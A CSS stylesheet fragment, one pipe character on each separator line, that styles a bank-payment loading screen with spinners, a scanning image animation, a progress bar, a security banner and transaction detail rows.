-webkit-justify-content: center;
|
|
justify-content: center
|
|
}
|
|
|
|
.loading .mb2 {
|
|
margin-bottom: 8px
|
|
}
|
|
|
|
.loading .mb3 {
|
|
margin-bottom: 12px
|
|
}
|
|
|
|
.loading .Text-color--gray400 {
|
|
color: #1a1a1a80
|
|
}
|
|
|
|
.loading .Text-color--black400 {
|
|
color: #1a1a1acc
|
|
}
|
|
|
|
.loading .Text-fontWeight--500 {
|
|
font-weight: 500
|
|
}
|
|
|
|
.loading .Text-fontSize--16 {
|
|
font-size: 16px
|
|
}
|
|
|
|
.loading .Text-fontWeight--400 {
|
|
font-weight: 600
|
|
}
|
|
|
|
.loading .Text-fontSize--13 {
|
|
font-size: 15px
|
|
}
|
|
|
|
.loading .Text {
|
|
margin: 0
|
|
}
|
|
|
|
.ppvx--v2___3-9-8 {
|
|
color: #1072eb;
|
|
font-family: PayPalSansBig-Medium, Helvetica Neue, Arial, sans-serif;
|
|
font-size: .875rem;
|
|
line-height: 1.25rem;
|
|
font-weight: 400;
|
|
cursor: pointer;
|
|
text-decoration: none;
|
|
margin-top: 40px
|
|
}
|
|
|
|
.loading .bank-container {
|
|
display: flex;
|
|
flex-direction: column;
|
|
align-items: center;
|
|
width: 100%;
|
|
flex: 1;
|
|
}
|
|
|
|
.bank-app {
|
|
width: 100%;
|
|
}
|
|
|
|
.loading .bank-container .bank-app {
|
|
text-align: center
|
|
}
|
|
|
|
.loading .bank-container .bank-app .dot-box {
|
|
display: inline-block;
|
|
width: 15px;
|
|
text-align: left
|
|
}
|
|
|
|
.loading .bank-container .bank-app .ant-spin {
|
|
box-sizing: border-box;
|
|
margin: 10px 0 0;
|
|
padding: 0;
|
|
color: #000000d9;
|
|
font-size: 14px;
|
|
font-variant: tabular-nums;
|
|
line-height: 1.5715;
|
|
list-style: none;
|
|
font-feature-settings: "tnum";
|
|
position: absolute;
|
|
display: none;
|
|
text-align: center;
|
|
vertical-align: middle;
|
|
opacity: 0;
|
|
transition: transform .3s cubic-bezier(.78, .14, .15, .86)
|
|
}
|
|
|
|
.loading .bank-container .bank-app .ant-spin-spinning {
|
|
position: static;
|
|
display: inline-block;
|
|
opacity: 1
|
|
}
|
|
|
|
.loading .bank-container .bank-app .anticon {
|
|
display: inline-block;
|
|
color: inherit;
|
|
font-style: normal;
|
|
line-height: 0;
|
|
text-align: center;
|
|
text-transform: none;
|
|
vertical-align: -.125em;
|
|
text-rendering: optimizelegibility;
|
|
-webkit-font-smoothing: antialiased;
|
|
-moz-osx-font-smoothing: grayscale
|
|
}
|
|
|
|
.loading .bank-container .bank-app .ant-spin-dot {
|
|
position: relative;
|
|
display: inline-block;
|
|
font-size: 20px;
|
|
width: 1em;
|
|
height: 1em
|
|
}
|
|
|
|
.loading .bank-container .bank-app .anticon>* {
|
|
line-height: 1
|
|
}
|
|
|
|
.loading .bank-container .bank-app .anticon-spin {
|
|
display: inline-block;
|
|
animation: loadingCircle 1s infinite linear
|
|
}
|
|
|
|
@-webkit-keyframes loadingCircle {
|
|
to {
|
|
-webkit-transform: rotate(360deg);
|
|
transform: rotate(360deg)
|
|
}
|
|
}
|
|
|
|
@keyframes loadingCircle {
|
|
to {
|
|
-webkit-transform: rotate(360deg);
|
|
transform: rotate(360deg)
|
|
}
|
|
}
|
|
|
|
.loading .bank-container .bank-app .notice-box {
|
|
margin-top: 20px;
|
|
color: #000;
|
|
}
|
|
|
|
.loading .bank-container .bank-app .notice-box>p {
|
|
display: flex;
|
|
flex-direction: column;
|
|
align-items: center;
|
|
justify-content: center
|
|
}
|
|
|
|
.loading .bank-container .bank-app .bank-notice {
|
|
text-align: center;
|
|
font-size: 17px;
|
|
font-weight: lighter
|
|
}
|
|
|
|
.loading .bank-container .bank-app .bank-no {
|
|
margin-bottom: 2.5em
|
|
}
|
|
|
|
.loading .bank-container .bank-app .bank-title {
|
|
font-size: 24px;
|
|
font-weight: 900;
|
|
margin-top: .5rem
|
|
}
|
|
|
|
.loading .bank-container .bank-app .bank-center {
|
|
padding: 0 30px
|
|
}
|
|
|
|
.loading .content {
|
|
width: 200px;
|
|
position: relative;
|
|
overflow: hidden;
|
|
display: flex;
|
|
flex-direction: column;
|
|
align-items: center;
|
|
justify-content: center;
|
|
height: 200px;
|
|
}
|
|
|
|
.loading .content img {
|
|
width: 100%;
|
|
}
|
|
|
|
/* New scanning animation on the image */
|
|
.loading .content .scan-animation {
|
|
content: "";
|
|
display: block;
|
|
width: 10px;
|
|
background: rgba(255, 255, 255, 0.8);
|
|
height: 100%;
|
|
position: absolute;
|
|
box-shadow: 0 0 12px 6px rgba(255, 255, 255, 0.8);
|
|
top: 0;
|
|
left: 0;
|
|
animation: 2s move infinite linear;
|
|
}
|
|
|
|
@media (max-width: 750px) {
|
|
.loading .content .scan-animation {
|
|
box-shadow: 0 0 10px 4px rgba(255, 255, 255, 0.8);
|
|
}
|
|
|
|
.modal-content {
|
|
margin: 20px;
|
|
}
|
|
|
|
.loading {
|
|
padding: 20px 10px;
|
|
min-height: 300px;
|
|
}
|
|
|
|
.loading .content {
|
|
width: 180px;
|
|
}
|
|
}
|
|
|
|
@keyframes move {
|
|
0% {
|
|
left: -5%;
|
|
}
|
|
|
|
to {
|
|
left: 105%;
|
|
}
|
|
}
|
|
|
|
.loading .notice-process-box {
|
|
display: flex;
|
|
align-items: center;
|
|
flex-direction: column
|
|
}
|
|
|
|
.loading .notice-process-box .notice-process {
|
|
font-size: 22px;
|
|
font-weight: 500;
|
|
margin: 10px 0 40px
|
|
}
|
|
|
|
@media (max-width: 475px) {
|
|
.loading .content {
|
|
width: 180px
|
|
}
|
|
|
|
.loading .notice-process-box .notice-process {
|
|
font-size: 18px
|
|
}
|
|
}
|
|
|
|
.progress-container {
|
|
width: 90%;
|
|
margin: 20px auto;
|
|
text-align: center;
|
|
}
|
|
|
|
.progress-bar {
|
|
height: 8px;
|
|
background-color: #f5f5f5;
|
|
border-radius: 4px;
|
|
overflow: hidden;
|
|
margin-bottom: 8px;
|
|
box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1);
|
|
}
|
|
|
|
.progress-fill {
|
|
height: 100%;
|
|
background-color: #4a9df3;
|
|
border-radius: 4px;
|
|
transition: width 0.5s ease;
|
|
background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);
|
|
background-size: 1rem 1rem;
|
|
animation: progress-bar-stripes 1s linear infinite;
|
|
}
|
|
|
|
.progress-text {
|
|
font-size: 14px;
|
|
color: #666;
|
|
margin-top: 5px;
|
|
}
|
|
|
|
@keyframes progress-bar-stripes {
|
|
0% {
|
|
background-position: 1rem 0;
|
|
}
|
|
|
|
100% {
|
|
background-position: 0 0;
|
|
}
|
|
}
|
|
|
|
.security-banner {
|
|
display: flex;
|
|
align-items: center;
|
|
justify-content: center;
|
|
padding: 10px 0;
|
|
}
|
|
|
|
.feature {
|
|
display: flex;
|
|
align-items: center;
|
|
}
|
|
|
|
.separator {
|
|
border-left: 1px solid #000;
|
|
height: 12px;
|
|
margin: 0 10px;
|
|
}
|
|
|
|
.icon {
|
|
color: #4CAF50;
|
|
margin-right: 5px;
|
|
width: 15px;
|
|
height: 15px;
|
|
}
|
|
|
|
.label {
|
|
font-family: Arial, sans-serif;
|
|
font-size: 12px;
|
|
color: #0009;
|
|
opacity: .8;
|
|
}
|
|
|
|
.transaction-details {
|
|
background-color: #00000005;
|
|
border-radius: 8px;
|
|
margin-top: 10px
|
|
}
|
|
|
|
.details-header {
|
|
font-size: 14px;
|
|
color: var(--v-primary-base)
|
|
}
|
|
|
|
.detail-item {
|
|
display: flex;
|
|
justify-content: space-between;
|
|
padding: 4px 0;
|
|
font-size: 13px
|
|
}
|
|
|
|
.detail-label {
|
|
color: #0009;
|
|
font-weight: 500;
|
|
text-align: left;
|
|
}
|
|
|
|
.detail-value {
|
|
font-family: Roboto Mono, monospace;
|
|
letter-spacing: .5px;
|
|
text-align: right;
|
|
}
|
|
|
|
@keyframes shimmerAnimation-f00fe7f0 {
|
|
0% {
|
|
background-position: -200px 0
|
|
}
|
|
|
|
to {
|
|
background-position: 200px 0
|
|
}
|
|
}
|
|
|
|
@keyframes pulse-f00fe7f0 {
|
|
0% {
|
|
opacity: 1
|
|
}
|
|
|
|
50% {
|
|
opacity: .7
|
|
}
|
|
|
|
to {
|
|
opacity: 1
|
|
}
|
|
}
|
|
|
|
.v-divider {
|
|
display: block;
|
|
flex: 1 1 100%;
|
|
height: 0px;
|
|
max-height: 0px;
|
|
opacity: var(--v-border-opacity);
|
|
transition: inherit;
|
|
border-style: solid;
|
|
border-width: thin 0 0 0
|
|
}
|
|
|
|
.pa-4 {
|
|
padding: 16px !important
|
|
}
|
|
|
|
.flex-column {
|
|
flex-direction: column !important;
|
|
}
|
|
</style>
|